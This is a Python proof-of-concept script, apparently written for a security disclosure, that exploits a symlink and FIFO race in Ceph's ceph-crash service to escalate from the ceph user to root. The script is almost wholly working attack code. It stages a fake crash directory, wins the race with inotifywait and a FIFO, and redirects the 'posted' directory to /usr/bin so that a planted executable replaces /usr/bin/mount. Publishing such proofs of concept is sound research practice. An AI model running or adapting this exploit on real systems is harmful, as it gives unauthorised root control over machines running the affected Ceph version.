#!/usr/bin/python3 import os import shutil import subprocess import time # Matthias Gerstner # # This demonstrates a ceph user to root exploit when the "ceph-crash.service" # from ceph-base version 16.2.9.538 is running on the system. "ceph-crash" # runs /usr/bin/ceph-crash as root, a Python script, that looks for fresh # crash directories in /var/lib/ceph/crash and posts them via "ceph crash # post". # # /var/lib/ceph/crash is owned by ceph:ceph mode 750, this allows the ceph # user to stage a symlink attack that can lead to a local root exploit. # # this exploit should be run with ceph:ceph credentials e.g.: # # root# sudo -u ceph -g ceph python3 /path/to/exploit.py # # prerequisites: # # - the file system where /var/lib/ceph resides on and the file system where a # system binary should be overwriten (e.g. /usr/bin) need to be the same, # otherwise the rename() system call for the exploit will fail. # - the call to "ceph crash post" needs to succeed i.e. ceph must be running # and be correctly configured for this to work. # - the ceph-crash.service needs to be running, of course def touch(path): with open(path, 'w') as _: pass def rmtree(path): try: shutil.rmtree(path) except FileNotFoundError: pass except NotADirectoryError: os.remove(path) # the name of the fake crash we're creating. This needs to be the basename of # a program in /usr/bin you want to replace by something controlled by the # "ceph" user. CRASH_NAME="mount" # the "meta" file needs to contain valid JSON metadata for the "ceph crash post" # command to succeed. FAKE_META = """{ "crash_id": "someid", "timestamp": 0 }""" os.chdir("/var/lib/ceph/crash") # the "posted" directory needs to exist otherwise ceph-crash won't start it's # normal routine if os.path.islink("./posted"): os.remove("./posted") if not os.path.isdir("./posted"): os.mkdir("./posted") # remove traces from previous exploit attempts rmtree(f"./{CRASH_NAME}") rmtree(f"./{CRASH_NAME}.old") # stage a fake crash directory for ceph-crash to look into os.mkdir(f"./{CRASH_NAME}") os.chdir(f"./{CRASH_NAME}") # this causes ceph-crash to wait for the "done" file for one second touch("meta") # wait for ceph-crash to start cycling through the crash directories subprocess.check_call(["inotifywait", "../"]) # this is the major race that needs to be won: ceph-crash needs to see the # regular "meta" file, but *not* see the "done" file, causing it to sleep for # a second. # Sleeping a bit ourselves helps for ceph-crash to actually see the regular # "meta" file before we replace it with a FIFO time.sleep(0.2) # replace the regular file by a FIFO which will give us a larger time window # while ceph-crash attempts to open the FIFO later on, blocking on it os.remove("meta") os.mkfifo("meta") # now we're "done", ceph-crash will open the meta file which is by now a FIFO touch("done") print("done") # replace the posted dir by a symlink into a directory where we want our # exploit file to be moved to rmtree("../posted") os.symlink("/usr/bin", "../posted") # wait some time for ceph-crash to actually see the "done" file time.sleep(2) # replace the crash directory by an exploit script os.chdir("..") os.rename(f"{CRASH_NAME}", f"{CRASH_NAME}.old") with open(f"./{CRASH_NAME}", 'w') as exploit: # just some demo code exploit.write("#!/bin/bash\necho evil code\n") # make it executable os.chmod(f"./{CRASH_NAME}", 0o755) # unblock ceph-crash to move our exploit script into "/usr/bin" with open(f"./{CRASH_NAME}.old/meta", 'w') as meta: meta.write(FAKE_META)